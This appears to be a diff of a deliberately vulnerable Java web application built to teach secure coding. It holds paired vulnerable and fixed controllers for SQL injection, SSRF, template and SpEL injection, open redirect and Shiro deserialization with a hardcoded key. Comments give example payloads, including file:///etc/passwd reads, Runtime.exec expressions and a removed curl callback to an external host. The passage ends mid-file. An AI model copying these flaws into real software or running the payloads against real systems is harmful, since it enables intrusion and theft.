+++ b/src/main/java/org/joychou/controller/SQLI.java @@ -3,171 +3,243 @@ import org.joychou.mapper.UserMapper; import org.joychou.dao.User; -import org.springframework.beans.factory.annotation.Autowired; +import org.joychou.security.SecurityUtil; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Value; import org.springframework.web.bind.annotation.*; -import javax.servlet.http.HttpServletRequest; +import javax.annotation.Resource; import java.sql.*; +import java.util.List; /** - * @author JoyChou (joychou@joychou.org) - * @date 2018.08.22 - * @desc SQL Injection + * SQL Injection + * + * @author JoyChou @2018.08.22 */ +@SuppressWarnings("Duplicates") @RestController @RequestMapping("/sqli") public class SQLI { - private static String driver = "com.mysql.jdbc.Driver"; - private static String url = "jdbc:mysql://localhost:3306/java_sec_code"; - private static String user = "root"; - private static String password = "woshishujukumima"; + private static final Logger logger = LoggerFactory.getLogger(SQLI.class); - @Autowired + // com.mysql.jdbc.Driver is deprecated. Change to com.mysql.cj.jdbc.Driver. + private static final String driver = "com.mysql.cj.jdbc.Driver"; + + @Value("${spring.datasource.url}") + private String url; + + @Value("${spring.datasource.username}") + private String user; + + @Value("${spring.datasource.password}") + private String password; + + @Resource private UserMapper userMapper; /** - * Vul Code. - * http://localhost:8080/sqli/jdbc/vul?username=joychou + *

Sql injection jbdc vuln code.


* - * @param username username + * http://localhost:8080/sqli/jdbc/vuln?username=joychou */ - @RequestMapping("/jdbc/vul") - public static String jdbc_sqli_vul(@RequestParam("username") String username){ - String result = ""; + @RequestMapping("/jdbc/vuln") + public String jdbc_sqli_vul(@RequestParam("username") String username) { + + StringBuilder result = new StringBuilder(); + try { Class.forName(driver); Connection con = DriverManager.getConnection(url, user, password); - if(!con.isClosed()) - System.out.println("Connecting to Database successfully."); - - // sqli vuln code 漏洞代码 - Statement statement = con.createStatement(); - String sql = "select * from users where username = '" + username + "'"; - System.out.println(sql); - ResultSet rs = statement.executeQuery(sql); - + if (!con.isClosed()) + System.out.println("Connect to database successfully."); - System.out.println("-----------------"); + // sqli vuln code + Statement statement = con.createStatement(); + String sql = "select * from users where username = '" + username + "'"; + logger.info(sql); + ResultSet rs = statement.executeQuery(sql); - while(rs.next()){ + while (rs.next()) { String res_name = rs.getString("username"); String res_pwd = rs.getString("password"); - result += res_name + ": " + res_pwd + "\n"; - System.out.println(res_name + ": " + res_pwd); - + String info = String.format("%s: %s\n", res_name, res_pwd); + result.append(info); + logger.info(info); } rs.close(); con.close(); - }catch (ClassNotFoundException e) { - System.out.println("Sorry,can`t find the Driver!"); - e.printStackTrace(); - }catch (SQLException e) { - e.printStackTrace(); - }catch (Exception e) { - e.printStackTrace(); - - }finally{ - System.out.println("-----------------"); - System.out.println("Connect database done."); + } catch (ClassNotFoundException e) { + logger.error("Sorry, can't find the Driver!"); + } catch (SQLException e) { + logger.error(e.toString()); } - return result; + return result.toString(); } /** - * Security Code. - * http://localhost:8080/sqli/jdbc/sec?username=joychou + *

Sql injection jbdc security code by using {@link PreparedStatement}.


* - * @param username username + * http://localhost:8080/sqli/jdbc/sec?username=joychou */ @RequestMapping("/jdbc/sec") - public static String jdbc_sqli_sec(@RequestParam("username") String username){ + public String jdbc_sqli_sec(@RequestParam("username") String username) { - String result = ""; + StringBuilder result = new StringBuilder(); try { Class.forName(driver); Connection con = DriverManager.getConnection(url, user, password); - if(!con.isClosed()) - System.out.println("Connecting to Database successfully."); - + if (!con.isClosed()) + System.out.println("Connect to database successfully."); // fix code String sql = "select * from users where username = ?"; PreparedStatement st = con.prepareStatement(sql); st.setString(1, username); - System.out.println(st.toString()); // sql after prepare statement - ResultSet rs = st.executeQuery(); - System.out.println("-----------------"); + logger.info(st.toString()); // sql after prepare statement + ResultSet rs = st.executeQuery(); - while(rs.next()){ + while (rs.next()) { String res_name = rs.getString("username"); String res_pwd = rs.getString("password"); - result += res_name + ": " + res_pwd + "\n"; - System.out.println(res_name + ": " + res_pwd); - + String info = String.format("%s: %s\n", res_name, res_pwd); + result.append(info); + logger.info(info); } + rs.close(); con.close(); - - }catch (ClassNotFoundException e) { - System.out.println("Sorry,can`t find the Driver!"); - e.printStackTrace(); - }catch (SQLException e) { - e.printStackTrace(); - }catch (Exception e) { + } catch (ClassNotFoundException e) { + logger.error("Sorry, can't find the Driver!"); e.printStackTrace(); + } catch (SQLException e) { + logger.error(e.toString()); + } + return result.toString(); + } + + + /** + *

Incorrect use of prepareStatement. PrepareStatement must use ? as a placeholder.

+ * http://localhost:8080/sqli/jdbc/ps/vuln?username=joychou' or 'a'='a + */ + @RequestMapping("/jdbc/ps/vuln") + public String jdbc_ps_vuln(@RequestParam("username") String username) { + + StringBuilder result = new StringBuilder(); + try { + Class.forName(driver); + Connection con = DriverManager.getConnection(url, user, password); + + if (!con.isClosed()) + System.out.println("Connecting to Database successfully."); + + String sql = "select * from users where username = '" + username + "'"; + PreparedStatement st = con.prepareStatement(sql); + + logger.info(st.toString()); + ResultSet rs = st.executeQuery(); + + while (rs.next()) { + String res_name = rs.getString("username"); + String res_pwd = rs.getString("password"); + String info = String.format("%s: %s\n", res_name, res_pwd); + result.append(info); + logger.info(info); + } - }finally{ - System.out.println("-----------------"); - System.out.println("Connect database done."); + rs.close(); + con.close(); + + } catch (ClassNotFoundException e) { + logger.error("Sorry, can't find the Driver!"); + e.printStackTrace(); + } catch (SQLException e) { + logger.error(e.toString()); } - return result; + return result.toString(); } /** - * security code - * http://localhost:8080/sqli/mybatis/sec01?username=joychou - * - * @param username username + *

Sql injection of mybatis vuln code.

+ * http://localhost:8080/sqli/mybatis/vuln01?username=joychou' or '1'='1 + *

select * from users where username = 'joychou' or '1'='1'

*/ - @GetMapping("/mybatis/sec01") - public User mybatis_vul1(@RequestParam("username") String username) { - return userMapper.findByUserName(username); + @GetMapping("/mybatis/vuln01") + public List mybatisVuln01(@RequestParam("username") String username) { + return userMapper.findByUserNameVuln01(username); + } + + /** + *

Sql injection of mybatis vuln code.

+ * http://localhost:8080/sqli/mybatis/vuln02?username=joychou' or '1'='1 + *

select * from users where username like '%joychou' or '1'='1%'

+ */ + @GetMapping("/mybatis/vuln02") + public List mybatisVuln02(@RequestParam("username") String username) { + return userMapper.findByUserNameVuln02(username); } + /** + *

Sql injection of mybatis vuln code.

+ * http://localhost:8080/sqli/mybatis/orderby/vuln03?sort=id desc-- + *

select * from users order by id desc-- asc

+ */ + @GetMapping("/mybatis/orderby/vuln03") + public List mybatisVuln03(@RequestParam("sort") String sort) { + return userMapper.findByUserNameVuln03(sort); + } /** - * security code - * http://localhost:8080/sqli/mybatis/sec02?id=1 - * - * @param id id + *

Sql injection mybatis security code.

+ * http://localhost:8080/sqli/mybatis/sec01?username=joychou + */ + @GetMapping("/mybatis/sec01") + public User mybatisSec01(@RequestParam("username") String username) { + return userMapper.findByUserName(username); + } + + /** + *

Sql injection mybatis security code.

+ * http://localhost:8080/sqli/mybatis/sec02?id=1 */ @GetMapping("/mybatis/sec02") - public User mybatis_v(@RequestParam("id") Integer id) { + public User mybatisSec02(@RequestParam("id") Integer id) { return userMapper.findById(id); } /** - * security code - * http://localhost:8080/sqli/mybatis/sec03 - **/ + *

Sql injection mybatis security code.

+ * http://localhost:8080/sqli/mybatis/sec03 + */ @GetMapping("/mybatis/sec03") - public User mybatis_vul2() { + public User mybatisSec03() { return userMapper.OrderByUsername(); } + /** + *

Order by sql injection mybatis security code by using sql filter.

+ * http://localhost:8080/sqli/mybatis/orderby/sec04?sort=id + *

select * from users order by id asc

+ */ + @GetMapping("/mybatis/orderby/sec04") + public List mybatisOrderBySec04(@RequestParam("sort") String sort) { + return userMapper.findByUserNameVuln03(SecurityUtil.sqlFilter(sort)); + } } diff --git a/src/main/java/org/joychou/controller/SSRF.java b/src/main/java/org/joychou/controller/SSRF.java index fca0e63a..f28b8b91 100644 --- a/src/main/java/org/joychou/controller/SSRF.java +++ b/src/main/java/org/joychou/controller/SSRF.java @@ -1,119 +1,126 @@ package org.joychou.controller; -import com.google.common.io.Files; -import com.squareup.okhttp.OkHttpClient; -import org.apache.commons.httpclient.HttpClient; -import org.apache.commons.httpclient.methods.GetMethod; -import org.apache.http.HttpResponse; -import org.apache.http.HttpStatus; -import org.apache.http.client.fluent.Request; -import org.apache.http.client.methods.HttpGet; -import org.apache.http.impl.client.CloseableHttpClient; -import org.apache.http.impl.client.HttpClients; +import cn.hutool.http.HttpUtil; import org.joychou.security.SecurityUtil; -import org.springframework.stereotype.Controller; -import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.ResponseBody; - - -import javax.imageio.ImageIO; -import javax.servlet.http.HttpServletRequest; +import org.joychou.security.ssrf.SSRFException; +import org.joychou.service.HttpService; +import org.joychou.util.HttpUtils; +import org.joychou.util.WebUtils; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.http.HttpHeaders; +import org.springframework.http.MediaType; +import org.springframework.web.bind.annotation.*; + +import javax.annotation.Resource; import javax.servlet.http.HttpServletResponse; import java.io.*; -import java.net.URL; -import java.net.URLConnection; -import java.net.HttpURLConnection; +import java.net.*; /** - * @author JoyChou (joychou@joychou.org) - * @date 2017.12.28 - * @desc Java ssrf vuls code. + * Java SSRF vuln or security code. + * + * @author JoyChou @2017-12-28 */ -@Controller +@RestController @RequestMapping("/ssrf") public class SSRF { - @RequestMapping("/urlConnection") - @ResponseBody - public static String ssrf_URLConnection(HttpServletRequest request) - { - try { - String url = request.getParameter("url"); - URL u = new URL(url); - URLConnection urlConnection = u.openConnection(); - BufferedReader in = new BufferedReader(new InputStreamReader(urlConnection.getInputStream())); //send request - String inputLine; - StringBuffer html = new StringBuffer(); + private static final Logger logger = LoggerFactory.getLogger(SSRF.class); - while ((inputLine = in.readLine()) != null) { - html.append(inputLine); - } - in.close(); - return html.toString(); - }catch(Exception e) { - e.printStackTrace(); - return "fail"; + @Resource + private HttpService httpService; + + /** + *

+ * The default setting of followRedirects is true.
+ * Protocol: file ftp mailto http https jar netdoc.
+ * UserAgent is Java/1.8.0_102. + *

+ * http://localhost:8080/ssrf/urlConnection/vuln?url=file:///etc/passwd + */ + @RequestMapping(value = "/urlConnection/vuln", method = {RequestMethod.POST, RequestMethod.GET}) + public String URLConnectionVuln(String url) { + return HttpUtils.URLConnection(url); + } + + + @GetMapping("/urlConnection/sec") + public String URLConnectionSec(String url) { + + // Decline not http/https protocol + if (!SecurityUtil.isHttp(url)) { + return "[-] SSRF check failed"; + } + + try { + SecurityUtil.startSSRFHook(); + return HttpUtils.URLConnection(url); + } catch (SSRFException | IOException e) { + return e.getMessage(); + } finally { + SecurityUtil.stopSSRFHook(); } + } - @RequestMapping("/HttpURLConnection") - @ResponseBody - public static String ssrf_httpURLConnection(HttpServletRequest request) - { + /** + * The default setting of followRedirects is true. + * UserAgent is Java/1.8.0_102. + */ + @GetMapping("/HttpURLConnection/sec") + public String httpURLConnection(@RequestParam String url) { try { - String url = request.getParameter("url"); - URL u = new URL(url); - URLConnection urlConnection = u.openConnection(); - HttpURLConnection httpUrl = (HttpURLConnection)urlConnection; - BufferedReader in = new BufferedReader(new InputStreamReader(httpUrl.getInputStream())); //send request - String inputLine; - StringBuffer html = new StringBuffer(); - - while ((inputLine = in.readLine()) != null) { - html.append(inputLine); - } - in.close(); - return html.toString(); - }catch(Exception e) { - e.printStackTrace(); - return "fail"; + SecurityUtil.startSSRFHook(); + return HttpUtils.HttpURLConnection(url); + } catch (SSRFException | IOException e) { + return e.getMessage(); + } finally { + SecurityUtil.stopSSRFHook(); } } - @RequestMapping("/Request") - @ResponseBody - public static String ssrf_Request(HttpServletRequest request) - { + @GetMapping("/HttpURLConnection/vuln") + public String httpURLConnectionVuln(@RequestParam String url) { + return HttpUtils.HttpURLConnection(url); + } + + /** + * The default setting of followRedirects is true. + * UserAgent is Apache-HttpClient/4.5.12 (Java/1.8.0_102).
+ * http://localhost:8080/ssrf/request/sec?url=http://test.joychou.org + */ + @GetMapping("/request/sec") + public String request(@RequestParam String url) { try { - String url = request.getParameter("url"); - return Request.Get(url).execute().returnContent().toString(); - }catch(Exception e) { - e.printStackTrace(); - return "fail"; + SecurityUtil.startSSRFHook(); + return HttpUtils.request(url); + } catch (SSRFException | IOException e) { + return e.getMessage(); + } finally { + SecurityUtil.stopSSRFHook(); } } /** - * Download the url file. - * http://localhost:8080/ssrf/openStream?url=file:///etc/passwd - * - * new URL(String url).openConnection() - * new URL(String url).openStream() - * new URL(String url).getContent() + * Download the url file.
+ * new URL(String url).openConnection()
+ * new URL(String url).openStream()
+ * new URL(String url).getContent()
+ * http://localhost:8080/ssrf/openStream?url=file:///etc/passwd + */ - @RequestMapping("/openStream") - @ResponseBody - public static void ssrf_openStream (HttpServletRequest request, HttpServletResponse response) throws IOException { + @GetMapping("/openStream") + public void openStream(@RequestParam String url, HttpServletResponse response) throws IOException { InputStream inputStream = null; OutputStream outputStream = null; - String url = request.getParameter("url"); try { - String downLoadImgFileName = Files.getNameWithoutExtension(url) + "." + Files.getFileExtension(url); + String downLoadImgFileName = WebUtils.getNameWithoutExtension(url) + "." + WebUtils.getFileExtension(url); // download response.setHeader("content-disposition", "attachment;fileName=" + downLoadImgFileName); @@ -126,138 +133,186 @@ public static void ssrf_openStream (HttpServletRequest request, HttpServletRespo outputStream.write(bytes, 0, length); } - }catch (Exception e) { - e.printStackTrace(); - }finally { + } catch (Exception e) { + logger.error(e.toString()); + } finally { if (inputStream != null) { inputStream.close(); } if (outputStream != null) { outputStream.close(); } - } } - @RequestMapping("/ImageIO") - @ResponseBody - public static void ssrf_ImageIO(HttpServletRequest request) { - String url = request.getParameter("url"); + /** + * The default setting of followRedirects is true. + * UserAgent is Java/1.8.0_102. + */ + @GetMapping("/ImageIO/sec") + public String ImageIO(@RequestParam String url) { try { - URL u = new URL(url); - ImageIO.read(u); // send request - } catch (Exception e) { + SecurityUtil.startSSRFHook(); + HttpUtils.imageIO(url); + } catch (SSRFException | IOException e) { + return e.getMessage(); + } finally { + SecurityUtil.stopSSRFHook(); } + + return "ImageIO ssrf test"; } - @RequestMapping("/okhttp") - @ResponseBody - public static void ssrf_okhttp(HttpServletRequest request) throws IOException { - String url = request.getParameter("url"); - OkHttpClient client = new OkHttpClient(); - com.squareup.okhttp.Request ok_http = new com.squareup.okhttp.Request.Builder().url(url).build(); - client.newCall(ok_http).execute(); - } + @GetMapping("/okhttp/sec") + public String okhttp(@RequestParam String url) { + + try { + SecurityUtil.startSSRFHook(); + return HttpUtils.okhttp(url); + } catch (SSRFException | IOException e) { + return e.getMessage(); + } finally { + SecurityUtil.stopSSRFHook(); + } + } /** - * http://localhost:8080/ssrf/HttpClient?url=http://www.baidu.com - * - * @return The response of url param. + * The default setting of followRedirects is true. + * UserAgent is Apache-HttpClient/4.5.12 (Java/1.8.0_102).
+ * http://localhost:8080/ssrf/httpclient/sec?url=http://www.baidu.com */ - @RequestMapping("/HttpClient") - @ResponseBody - public static String ssrf_HttpClient(HttpServletRequest request) { + @GetMapping("/httpclient/sec") + public String HttpClient(@RequestParam String url) { - String url = request.getParameter("url"); - CloseableHttpClient client = HttpClients.createDefault(); - HttpGet httpGet = new HttpGet(url); try { - HttpResponse httpResponse = client.execute(httpGet); // send request - BufferedReader rd = new BufferedReader(new InputStreamReader(httpResponse.getEntity().getContent())); - StringBuffer result = new StringBuffer(); - String line = ""; - while ((line = rd.readLine()) != null) { - result.append(line); - } - return result.toString(); - }catch (Exception e) { - e.printStackTrace(); - return "fail"; + SecurityUtil.startSSRFHook(); + return HttpUtils.httpClient(url); + } catch (SSRFException | IOException e) { + return e.getMessage(); + } finally { + SecurityUtil.stopSSRFHook(); } } /** - * Safe code. - * http://localhost:8080/ssrf/commonsHttpClient?url=http://www.baidu.com - * + * The default setting of followRedirects is true. + * UserAgent is Jakarta Commons-HttpClient/3.1. + * http://localhost:8080/ssrf/commonsHttpClient/sec?url=http://www.baidu.com */ - @RequestMapping("/commonsHttpClient") - @ResponseBody - public static String commonsHttpClient(HttpServletRequest request) { + @GetMapping("/commonsHttpClient/sec") + public String commonsHttpClient(@RequestParam String url) { - String url = request.getParameter("url"); - - // Security check - if (!SecurityUtil.checkSSRFWithoutRedirect(url)) { - return "Bad man. I got u."; + try { + SecurityUtil.startSSRFHook(); + return HttpUtils.commonHttpClient(url); + } catch (SSRFException | IOException e) { + return e.getMessage(); + } finally { + SecurityUtil.stopSSRFHook(); } - // Create an instance of HttpClient. - HttpClient client = new HttpClient(); - // Create a method instance. - GetMethod method = new GetMethod(url); + } - // forbid 302 redirection - method.setFollowRedirects(false); + /** + * The default setting of followRedirects is true. + * UserAgent is the useragent of browser.
+ * http://localhost:8080/ssrf/Jsoup?url=http://www.baidu.com + */ + @GetMapping("/Jsoup/sec") + public String Jsoup(@RequestParam String url) { try { - // Send http request. - int status_code = client.executeMethod(method); + SecurityUtil.startSSRFHook(); + return HttpUtils.Jsoup(url); + } catch (SSRFException | IOException e) { + return e.getMessage(); + } finally { + SecurityUtil.stopSSRFHook(); + } - // Only allow the url that status_code is 200. - if (status_code != HttpStatus.SC_OK) { - return "Method failed: " + method.getStatusLine(); - } + } - // Read the response body. - byte[] resBody = method.getResponseBody(); - return new String(resBody); - } catch (IOException e) { - return "Error: " + e.getMessage(); + /** + * The default setting of followRedirects is true. + * UserAgent is Java/1.8.0_102.
+ * http://localhost:8080/ssrf/IOUtils/sec?url=http://www.baidu.com + */ + @GetMapping("/IOUtils/sec") + public String IOUtils(String url) { + try { + SecurityUtil.startSSRFHook(); + HttpUtils.IOUtils(url); + } catch (SSRFException | IOException e) { + return e.getMessage(); } finally { - // Release the connection. - method.releaseConnection(); + SecurityUtil.stopSSRFHook(); } + return "IOUtils ssrf test"; + } + + + /** + * The default setting of followRedirects is true. + * UserAgent is Apache-HttpAsyncClient/4.1.4 (Java/1.8.0_102). + */ + @GetMapping("/HttpSyncClients/vuln") + public String HttpSyncClients(@RequestParam("url") String url) { + return HttpUtils.HttpAsyncClients(url); + } + + /** + * Only support HTTP protocol.
+ * GET HttpMethod follow redirects by default, other HttpMethods do not follow redirects.
+ * User-Agent is Java/1.8.0_102.
+ * http://127.0.0.1:8080/ssrf/restTemplate/vuln1?url=http://www.baidu.com + */ + @GetMapping("/restTemplate/vuln1") + public String RestTemplateUrlBanRedirects(String url){ + HttpHeaders headers = new HttpHeaders(); + headers.setContentType(MediaType.APPLICATION_JSON_UTF8); + return httpService.RequestHttpBanRedirects(url, headers); + } + + + @GetMapping("/restTemplate/vuln2") + public String RestTemplateUrl(String url){ + HttpHeaders headers = new HttpHeaders(); + headers.setContentType(MediaType.APPLICATION_JSON_UTF8); + return httpService.RequestHttp(url, headers); } /** - * Safe code. - * http://localhost:8080/ssrf/ImageIO_safe?url=http://www.baidu.com - * + * UserAgent is Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36 Hutool. + * Do not follow redirects.
+ * http://127.0.0.1:8080/ssrf/hutool/vuln?url=http://www.baidu.com */ - @RequestMapping("/ImageIO_safe") - @ResponseBody - public static String ssrf_ImageIO_safecode(HttpServletRequest request) { - String url = request.getParameter("url"); - try { - URL u = new URL(url); - if (!SecurityUtil.checkSSRF(url)) { - return "SSRF check failed."; - } - ImageIO.read(u); // send request - } catch (Exception e) { - return e.toString(); - } + @GetMapping("/hutool/vuln") + public String hutoolHttp(String url){ + return HttpUtil.get(url); + } - return "ImageIO ssrf safe code."; + + /** + * DnsRebind SSRF in java by setting ttl is zero.
+ * http://localhost:8080/ssrf/dnsrebind/vuln?url=dnsrebind_url + */ + @GetMapping("/dnsrebind/vuln") + public String DnsRebind(String url) { + java.security.Security.setProperty("networkaddress.cache.negative.ttl" , "0"); + if (!SecurityUtil.checkSSRFWithoutRedirect(url)) { + return "Dangerous url"; + } + return HttpUtil.get(url); } + + } diff --git a/src/main/java/org/joychou/controller/SSTI.java b/src/main/java/org/joychou/controller/SSTI.java index 70e7c7a6..0c44eb93 100644 --- a/src/main/java/org/joychou/controller/SSTI.java +++ b/src/main/java/org/joychou/controller/SSTI.java @@ -17,14 +17,14 @@ public class SSTI { /** * SSTI of Java velocity. The latest Velocity version still has this problem. * Fix method: Avoid to use Velocity.evaluate method. - * + *

* http://localhost:8080/ssti/velocity?template=%23set($e=%22e%22);$e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,null).invoke(null,null).exec(%22open%20-a%20Calculator%22) * Open a calculator in MacOS. * * @param template exp */ @GetMapping("/velocity") - private static void velocity(String template){ + public void velocity(String template) { Velocity.init(); VelocityContext context = new VelocityContext(); diff --git a/src/main/java/org/joychou/controller/Shiro.java b/src/main/java/org/joychou/controller/Shiro.java new file mode 100644 index 00000000..2dc143ca --- /dev/null +++ b/src/main/java/org/joychou/controller/Shiro.java @@ -0,0 +1,49 @@ +package org.joychou.controller; + + +import lombok.extern.slf4j.Slf4j; +import org.apache.shiro.crypto.AesCipherService; +import org.joychou.config.Constants; +import org.joychou.util.CookieUtils; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RestController; +import javax.servlet.http.Cookie; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.*; +import static org.springframework.web.util.WebUtils.getCookie; + +@Slf4j +@RestController +public class Shiro { + + byte[] KEYS = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA=="); + private final static String DELETE_ME = "deleteMe"; + AesCipherService acs = new AesCipherService(); + + + @GetMapping(value = "/shiro/deserialize") + public String shiro_deserialize(HttpServletRequest req, HttpServletResponse res) { + Cookie cookie = getCookie(req, Constants.REMEMBER_ME_COOKIE); + if (null == cookie) { + return "No rememberMe cookie. Right?"; + } + + try { + String rememberMe = cookie.getValue(); + byte[] b64DecodeRememberMe = java.util.Base64.getDecoder().decode(rememberMe); + byte[] aesDecrypt = acs.decrypt(b64DecodeRememberMe, KEYS).getBytes(); + ByteArrayInputStream bytes = new ByteArrayInputStream(aesDecrypt); + ObjectInputStream in = new ObjectInputStream(bytes); + in.readObject(); + in.close(); + } catch (Exception e){ + if (CookieUtils.addCookie(res, "rememberMe", DELETE_ME)){ + log.error(e.getMessage()); + return "RememberMe cookie decrypt error. Set deleteMe cookie success."; + } + } + + return "Shiro deserialize"; + } +} diff --git a/src/main/java/org/joychou/controller/SpEL.java b/src/main/java/org/joychou/controller/SpEL.java index 28fdafde..452180b8 100644 --- a/src/main/java/org/joychou/controller/SpEL.java +++ b/src/main/java/org/joychou/controller/SpEL.java @@ -1,38 +1,64 @@ package org.joychou.controller; -import org.springframework.expression.EvaluationContext; +import org.springframework.expression.Expression; import org.springframework.expression.ExpressionParser; +import org.springframework.expression.common.TemplateParserContext; import org.springframework.expression.spel.standard.SpelExpressionParser; +import org.springframework.expression.spel.support.SimpleEvaluationContext; +import org.springframework.expression.spel.support.StandardEvaluationContext; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RestController; /** - * SpEL Injection - * + * SpEL Injection. * @author JoyChou @2019-01-17 */ @RestController public class SpEL { /** - * SPEL to RCE - * http://localhost:8080/spel/vul/?expression=xxx. - * xxx is urlencode(exp) - * exp: T(java.lang.Runtime).getRuntime().exec("curl xxx.ceye.io") + * Use Spel to execute cmd.

+ * T(java.lang.Runtime).getRuntime().exec("open -a Calculator") */ - @RequestMapping("/spel/vul") - private static String rce(String expression) { + @RequestMapping("/spel/vuln1") + public String spel_vuln1(String value) { ExpressionParser parser = new SpelExpressionParser(); - // fix method: SimpleEvaluationContext - String result = parser.parseExpression(expression).getValue().toString(); - return result; + return parser.parseExpression(value).getValue().toString(); + } + + /** + * Use Spel to execute cmd.

+ * #{T(java.lang.Runtime).getRuntime().exec('open -a Calculator')} + * Exploit must add #{} if using TemplateParserContext. + */ + @RequestMapping("spel/vuln2") + public String spel_vuln2(String value) { + StandardEvaluationContext context = new StandardEvaluationContext(); + SpelExpressionParser parser = new SpelExpressionParser(); + Expression expression = parser.parseExpression(value, new TemplateParserContext()); + Object x = expression.getValue(context); // trigger vulnerability point + return x.toString(); // response } - public static void main(String[] args) { + /** + * Use SimpleEvaluationContext to fix. + */ + @RequestMapping("spel/sec") + public String spel_sec(String value) { + SimpleEvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build(); + SpelExpressionParser parser = new SpelExpressionParser(); + Expression expression = parser.parseExpression(value, new TemplateParserContext()); + Object x = expression.getValue(context); + return x.toString(); + } + + public static void main(String[] args) { ExpressionParser parser = new SpelExpressionParser(); - String expression = "T(java.lang.Runtime).getRuntime().exec(\"open -a Calculator\")"; + String expression = "1+1"; String result = parser.parseExpression(expression).getValue().toString(); + System.out.println(result); } + } diff --git a/src/main/java/org/joychou/controller/Test.java b/src/main/java/org/joychou/controller/Test.java deleted file mode 100644 index 902b2269..00000000 --- a/src/main/java/org/joychou/controller/Test.java +++ /dev/null @@ -1,27 +0,0 @@ -package org.joychou.controller; - -import org.springframework.stereotype.Controller; -import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.ResponseBody; - -import javax.servlet.http.Cookie; -import javax.servlet.http.HttpServletRequest; -import javax.servlet.http.HttpServletResponse; - -@Controller -@RequestMapping("/test") -public class Test { - - @RequestMapping(value = "/") - @ResponseBody - private String Index(HttpServletResponse response, String empId) { - - System.out.println(empId); - Cookie cookie = new Cookie("XSRF-TOKEN", "123"); - cookie.setDomain("taobao.com"); - cookie.setMaxAge(-1); // forever time - response.addCookie(cookie); - return "success"; - } - -} diff --git a/src/main/java/org/joychou/controller/URLRedirect.java b/src/main/java/org/joychou/controller/URLRedirect.java index 26fc1652..2b96322e 100644 --- a/src/main/java/org/joychou/controller/URLRedirect.java +++ b/src/main/java/org/joychou/controller/URLRedirect.java @@ -10,14 +10,15 @@ import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; + import org.joychou.security.SecurityUtil; /** * The vulnerability code and security code of Java url redirect. * The security code is checking whitelist of url redirect. * - * @author JoyChou (joychou@joychou.org) - * @version 2017.12.28 + * @author JoyChou (joychou@joychou.org) + * @version 2017.12.28 */ @Controller @@ -38,7 +39,7 @@ public String redirect(@RequestParam("url") String url) { */ @RequestMapping("/setHeader") @ResponseBody - public static void setHeader(HttpServletRequest request, HttpServletResponse response){ + public static void setHeader(HttpServletRequest request, HttpServletResponse response) { String url = request.getParameter("url"); response.setStatus(HttpServletResponse.SC_MOVED_PERMANENTLY); // 301 redirect response.setHeader("Location", url); @@ -50,7 +51,7 @@ public static void setHeader(HttpServletRequest request, HttpServletResponse res */ @RequestMapping("/sendRedirect") @ResponseBody - public static void sendRedirect(HttpServletRequest request, HttpServletResponse response) throws IOException{ + public static void sendRedirect(HttpServletRequest request, HttpServletResponse response) throws IOException { String url = request.getParameter("url"); response.sendRedirect(url); // 302 redirect } @@ -64,10 +65,10 @@ public static void sendRedirect(HttpServletRequest request, HttpServletResponse @ResponseBody public static void forward(HttpServletRequest request, HttpServletResponse response) { String url = request.getParameter("url"); - RequestDispatcher rd =request.getRequestDispatcher(url); - try{ + RequestDispatcher rd = request.getRequestDispatcher(url); + try { rd.forward(request, response); - }catch (Exception e) { + } catch (Exception e) { e.printStackTrace(); } } @@ -75,16 +76,16 @@ public static void forward(HttpServletRequest request, HttpServletResponse respo /** * Safe code of sendRedirect. - * http://localhost:8080/urlRedirect/sendRedirect_seccode?url=http://www.baidu.com + * http://localhost:8080/urlRedirect/sendRedirect/sec?url=http://www.baidu.com */ - @RequestMapping("/sendRedirect_seccode") + @RequestMapping("/sendRedirect/sec") @ResponseBody - public static void sendRedirect_seccode(HttpServletRequest request, HttpServletResponse response) throws IOException{ + public void sendRedirect_seccode(HttpServletRequest request, HttpServletResponse response) + throws IOException { String url = request.getParameter("url"); - String urlwhitelist[] = {"joychou.org", "joychou.com"}; - if (!SecurityUtil.checkURLbyEndsWith(url, urlwhitelist)) { - // Redirect to error page. - response.sendRedirect("https://test.joychou.org/error3.html"); + if (SecurityUtil.checkURL(url) == null) { + response.setStatus(HttpServletResponse.SC_FORBIDDEN); + response.getWriter().write("url forbidden"); return; } response.sendRedirect(url); diff --git a/src/main/java/org/joychou/controller/URLWhiteList.java b/src/main/java/org/joychou/controller/URLWhiteList.java index 94df0400..156cc73d 100644 --- a/src/main/java/org/joychou/controller/URLWhiteList.java +++ b/src/main/java/org/joychou/controller/URLWhiteList.java @@ -1,12 +1,13 @@ package org.joychou.controller; -import org.springframework.stereotype.Controller; -import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.ResponseBody; +import org.joychou.security.SecurityUtil; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.web.bind.annotation.*; -import javax.servlet.http.HttpServletRequest; -import java.net.URI; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; import java.net.URL; import java.util.ArrayList; import java.util.regex.Matcher; @@ -16,30 +17,28 @@ * The vulnerability code and security code of Java url whitelist. * The security code is checking url whitelist. * - * @author JoyChou (joychou@joychou.org) - * @version 2018.08.23 + * @author JoyChou (joychou@joychou.org) + * @version 2018.08.23 */ -@Controller +@RestController @RequestMapping("/url") public class URLWhiteList { private String domainwhitelist[] = {"joychou.org", "joychou.com"}; + private static final Logger logger = LoggerFactory.getLogger(URLWhiteList.class); /** * bypass poc: bypassjoychou.org - * http://localhost:8080/url/endswith?url=http://aaajoychou.org - * + * http://localhost:8080/url/vuln/endswith?url=http://aaajoychou.org */ - @RequestMapping("/endswith") - @ResponseBody - public String endsWith(HttpServletRequest request) throws Exception{ - String url = request.getParameter("url"); - URL u = new URL(url); - String host = u.getHost().toLowerCase(); + 